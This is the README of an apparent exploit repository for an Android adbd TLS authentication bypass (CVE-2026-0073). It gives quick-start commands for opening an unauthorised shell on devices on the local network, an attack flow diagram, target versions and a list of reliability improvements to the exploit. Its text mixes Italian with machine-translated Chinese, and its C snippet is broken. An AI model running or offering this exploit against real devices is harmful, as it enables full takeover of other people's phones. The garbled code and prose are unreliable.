🔥 Panoramica

Nel daemon ADB di Android (adbd) esiste una vulnerabilità critica di bypass dell'autenticazione che consente a qualsiasi attaccante sulla rete locale di ottenere una shell completa sul dispositivo di destinazione senza autorizzazione dell'utente.

La vulnerabilità risiede nella funzione adbd_tls_verify_cert() nel file daemon/auth.cpp, dove EVP_PKEY_cmp() viene usato come valore booleano. Quando la chiave memorizzata è una chiave RSA e il certificato client TLS fornito trasporta una chiave non RSA (EC P-256 o Ed25519), EVP_PKEY_cmp() restituisce -1 (mancata corrispondenza del tipo), che in C/C++ è vero, quindi authorized = true.

// daemon/auth.cpp 中的易受攻击代码模式
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 是真值！
已授权 = true；
}

⚡ Avvio rapido

Installazione delle dipendenze

pip install cryptography

Esecuzione dell'exploit

# 交互式 shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>

# 单命令执行
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"

# 详细模式（查看完整协议跟踪）
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"

Forzare un tipo di chiave specifico

python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519

Per impostazione predefinita, lo script tenta automaticamente EC P-256 → Ed25519 → EC/TLS 1.2 fino al successo.

🎯 Flusso dell'exploit

攻击者目标（adbd）
      │                                    │
│──── TCP 连接 ──────────────────►│
│──── CNXN（明文）────────────►│
│◄─── STLS（TLS 升级请求）──│
│──── STLS 回复 ──────────────────►│
      │                                    │
│════ TLS 1.3 握手 ════════════│
│（已提交 EC P-256 客户证书）│
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 为真 → authorized=true │
      │════════════════════════════════════│
      │                                    │
│◄─── CNXN（设备信息）──────────│
│──── 打开“shell:” ───────────────►│
│◄─── 好的 ────────────────────────│
│◄──► WRTE/OKAY（shell I/O）──────►│
      │                                    │
【完全 shell 访问权限】

📋 Prerequisiti

⚠️ Nota importante: la chiave RSA deve trovarsi nel file /data/misc/adb/adb_keys, che viene popolato tramite accoppiamento di debug USB (accettando la finestra di dialogo "Consenti debug USB?"). L'accoppiamento di debug wireless (adb pair) memorizza le chiavi in una posizione diversa (adb_known_hosts.pb) e quindi non soddisfa questo requisito.

🛡️ Versioni interessate

• Android 14 (AOSP) — ✅ vulnerabilità confermata
• Android 15 (AOSP) — possibilmente vulnerabile (versioni non patchate)
• Le versioni dei vari produttori possono differire (ad es. Samsung One UI, Pixel, ecc.).

Come verificare il livello di patch

adb shell getprop ro.build.version.security_patch

🧪 Ambiente di test

Testato e confermato funzionante su:

内核：6.1.23-android14-4-00257-g7e35917775b8-ab9964412
平台：Android 14（Android Studio 模拟器）

🔧 Miglioramenti rispetto all'originale

Questo fork include i seguenti miglioramenti:

• ✅ Fallback multi-chiave — tenta automaticamente EC P-256 → Ed25519 → EC/TLS 1.2
• ✅ Supporto Ed25519 — tipo di chiave alternativo per una maggiore compatibilità
• ✅ Fallback TLS 1.2 — flusso del certificato client diverso (invio durante l'handshake rispetto a dopo l'handshake)
• ✅ Certificati migliorati — estensioni X.509 corrette (BasicConstraints, KeyUsage)
• ✅ Compatibile con Windows — usa I/O basato su thread invece di select() per il supporto multipiattaforma
• ✅ Timeout aumentati — maggiore affidabilità su reti più lente
• ✅ Diagnostica dettagliata — il flag -v mostra una traccia dettagliata del protocollo

📁 Struttura del progetto

CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # 主漏洞利用脚本
└── README.md # 此文件

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi didattici. L'accesso non autorizzato a sistemi informatici è illegale. Assicurati di ottenere l'autorizzazione appropriata prima di eseguire i test. L'autore non è responsabile per qualsiasi uso improprio di questo software.

📚 Riferimenti

• CVE-2026-0073 — MITRE
• Bollettino sulla sicurezza di Android
• Documentazione OpenSSL EVP_PKEY_cmp
• Riferimento al protocollo ADB